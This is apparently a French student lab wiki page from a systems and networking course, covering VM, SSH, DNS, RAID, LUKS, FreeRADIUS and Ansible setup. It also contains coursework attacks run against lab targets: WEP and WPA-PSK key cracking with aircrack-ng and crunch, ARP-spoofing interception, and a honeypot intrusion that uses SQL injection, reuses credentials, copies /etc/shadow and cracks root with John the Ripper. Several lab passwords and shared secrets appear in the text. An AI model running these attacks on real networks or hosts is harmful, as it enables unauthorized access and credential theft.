Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58016</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58016"/>
				<updated>2022-01-12T12:51:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
